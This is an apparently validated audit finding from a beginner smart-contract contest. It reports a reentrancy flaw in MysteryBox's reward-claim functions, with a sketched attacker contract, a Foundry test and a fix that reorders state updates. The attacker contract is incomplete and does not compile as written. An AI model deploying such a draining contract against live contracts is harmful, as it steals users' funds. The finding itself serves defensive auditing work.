Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-4]: `MysteryBox::claimAllRewards` and `MysteryBox::claimSingleReward` functions allow users to drain the contract's balance

Summary

The MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions do not follow the CEI (Checks - Effects - Interactions) and as a result, users may drain the contract's balance. Both functions first make an external call to the msg.sender before updating the rewardsOwned array.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}

A player who has entered the lottery could have a fallback / receive function that calls the MysteryBox::claimAllRewards or MysteryBox::claimSingleReward function again and claim another refund. They could continue the cycle untill the contract balance is drained.

Impact

All fees paid that are kept in the contract's balance could be stolen by malicious user. Despite this attack may cost significant amount of ETH, once the attacker manages to win at least one time, the whole contract's balance (including all fees paid by the attacker) will be drained to the attacker's address.

PoC

  1. User enters the lottery

  2. Attacker sets up a contract with a fallback function that calls MysteryBox::claimAllRewards or MysteryBox::claimSingleReward

  3. Attacker keeps purchasing boxes and opening them until he manages to obtain at least 1 win

  4. Attacker calls MysteryBox::claimSingleReward from their attack contract with the index of the winning record, draining the contract balance

function test_reentrancyclaimSingeReward() public {
ReentrancyAttacker attackerContract = new ReentrancyAttacker(mysteryBox);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 10 ether);
uint256 price = mysteryBox.boxPrice();
uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(mysteryBox).balance;
vm.prank(attackUser);
attackerContract.purchaseAndOpenBox{value: price}();
console.log("Starting attacker contract balance: ", startingAttackContractBalance);
console.log("Starting contract balance: ", startingContractBalance);
console.log("Ending attacker contract balance: ", address(attackerContract).balance);
console.log("Ending contract balance: ", address(mysteryBox).balance);
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 winningValue;
struct Reward {
string name;
uint256 value;
}
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
function purchaseAndOpenBox() external payable {
// This function will keep purchasing boxes and opening them until there is at least one winning, then breaks
}
function attack() external {
Reward[] memory winnings = mysteryBox.getRewards();
// The variable `winningIndex` is the index on which the attacker has an existing win
winningValue = winnings[winningIndex].value;
mysteryBox.claimSingleReward(winningIndex);
}
function _stealMoney() internal {
if(address(mysteryBox).balance >= winningValue) {
mysteryBox.claimSingleReward();
}
}
fallback() external payable {
_stealMoney();
}
receive() external payable {
_stealMoney();
}
}

Tools Used

Static analysis, Aderyn, Slither

Recommendations

To prevent this, we should have the MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions update the rewardsOwned array before making the external call.

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.